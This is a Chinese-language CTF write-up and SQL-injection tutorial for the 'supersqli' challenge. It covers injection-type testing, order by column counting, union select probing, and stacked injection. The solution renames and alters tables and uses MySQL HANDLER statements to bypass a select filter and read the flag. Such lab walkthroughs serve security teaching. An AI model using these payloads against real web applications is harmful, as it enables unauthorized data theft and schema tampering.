supersqli(SQL注入流程及常用SQL语句)

简介: supersqli(SQL注入流程及常用SQL语句)

一、SQL注入知识学习

1、判断注入类型

数字型或者字符型,字符型的变量使用了引号,而数字型没有。

(1)数字型注入判断

常用语句:

1 and 1=1        

1 and 1=2    

假设注入类型为数字型,注入点为id,分别输入上面的语句,那么第一行测试语句会返回id为1的查询结果,而第二行语句由于条件and 1=2不成立,所以查询结果为空。如果注入类型为字符型,将上面语句拼接到sql中,由于id的值都不匹配,所以应该是都不返回任何结果,但是如果id本身是int类型,实际查询过程中是会返回结果的,这可能是因为对输入的字符进行了截断并转换了类型,造成1 and 1=2在字符类型中会返回id为1的查询结果。当然如果第二个语句返回了结果,我们也可以以此判断出该注入类型是字符型。

若两次返回结果一样,则为字符型注入。

(2)字符型注入判断

1' and '1'='1

1' and '1'='2

对于字符型注入判断,我们也可以这样进行操作,如上面的两条注入语句所示,如果是在数字型注入中,由于变量没有加引号,所以拼接后sql语法错误,直接报错,这和不回显信息是有区别。因此如果上面的语句注入后提示sql语法错误,那么我们可以直接判断测试对象为数字型注入。而对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。

逻辑成立正常回显,逻辑不成立返回为空,类型错误直接报错

2、猜解sql查询语句中的字段数(order by 的使用)

使用order by判断当前表的字段个数

例:?id=1 order by n --+


若n超过当前表的列数,就会报错,说明表中只有n-1列


假设为字符型注入,先利用1'实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。


1' or 1=1 order by 1 #

1' or 1=1 order by 2 #

......


当然也可以采用1' or 1=1 union select 1, 2, 3 #的方式


3、判断显示位爆数据库的名字

判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:


?id=-1' union select 1,2,3 --+


观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句


爆数据库的名字:

?id=1' union select 1,database(),3 --+


在之前回显2的地方会回显database数据库的名字


4、注释(--+的使用)

当输入参数为字符串时,称为字符型注入,它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。


例:https://blog.csdn.net/aboutus.php?id=1


此时后台语句:$sql="SELECT 123 FROM abc WHERE id='1''"


此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。


此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。


所以我们可以这样:


?id = 1' 攻击语句 --+


传入页面就变成了


select user from database where id = '1'攻击语句 – '


–+起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开。


5、堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,就成了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制。


可注入条件:


目标存在sql注入漏洞;

目标未对";"号进行过滤;

目标中间层查询数据库信息时可同时执行多条sql语句。

6、handler语句及用法

handler是mysql的专用语句,没有包含到SQL标准中,但它每次只能查询1次记录,而select可以根据需要返回多条查询结果。

hander `表名` open;           // 打开一个表


handler`表名`read frist;      // 查询第一个数据


handler`表名`read next;     // 查询之后的数据直到最后一个数据返回空


二、基于上述知识对此题的分析与解答

注:以下sql语句都是直接在查询框中使用,并不是直接加在URL后面或者用在其地方。

1、基本分析(注入点、注入类型等)

打开链接,有一个提交查询框,以及题目的提示,这就是考的SQL注入

 默认框里面有一个1,我们直接查询,输入1,页面正常返回,从返回中我们得到注入点是inject。

输入1'页面报错了

加上注释符号#或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。

我们再来判断注入类型

1 and 1=1    

  1 and 1=2  

查询1 and 1=1 和1 and 1=2,发现两次提交后页面一样,可以判断出为字符型注入漏洞;

1' and '1'='1

1' and '1'='2

两次都没有报错,且第二次返回结果为空,说明是字符型注入。


2、判断列数

1' order by 2#     // 回显正常

1' order by 3#     // 会报错

 

3、利用or 1=1暴露表中数据

1' or 1=1 order by 1 #

1' or 1=1 order by 2 #

(同样在3的时候会报错,说明只有两列)

4、尝试联合查询

1' union select 1,2#

发现过滤了很多函数 ,select不能用

5、尝试堆叠注入

(即在;后继续加sql语句)

(1)看数据库

1'; show databases;#

(2)查表名

1'; show tables;#

(3)查询表中的列

-1'; show columns from `words`;#

-1'; show columns from `1919810931114514`;#

这里查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。

6、处理被过滤

但问题来了,虽然我们已经找到flag了,但是select被过滤了,而show命令又不能查看值。但过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) ;show columns from words;#

用1'or '1'='1访问,即可得到flag

7、handler的使用

后面改表名的步骤也可替换为用handler语句去解决,即:


1';

handler`1919810931114514`open as`a`;

handler`a`read next;


当然不改表名也是可以的,我们打开有flag的这个表并查询它,即:


1';

handler`1919810931114514` open;

handler`1919810931114514`read next;


(一定要先打开这个表,直接查询是不行的,handler`1919810931114514` open;不能省掉)

8、hackbar的使用

除了在查询框中执行这些sql语句,我们也可以使用hackbar来实现:

load URL后,在框里编写好我们的sql语句,点击Execute即可。

目录
相关文章
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
2月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
32 0
|
2月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
23 0
|
2月前
|
SQL Java 数据库连接
[SQL]SQL注入与SQL执行过程(基于JDBC)
[SQL]SQL注入与SQL执行过程(基于JDBC)
50 0
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
41 0
|
2月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
421 1
|
1月前
|
SQL 存储 关系型数据库
SQL的基本语法以及SQL语句的关键字的使用,SELECT、INSERT、UPDATE、DELETE、CREATE、ALTER、DROP等。
SQL的基本语法以及SQL语句的关键字的使用,SELECT、INSERT、UPDATE、DELETE、CREATE、ALTER、DROP等。
|
10天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
17 0
|
18天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
27天前
|
SQL 关系型数据库 MySQL
【MySQL】慢SQL分析流程
【4月更文挑战第1天】【MySQL】慢SQL分析流程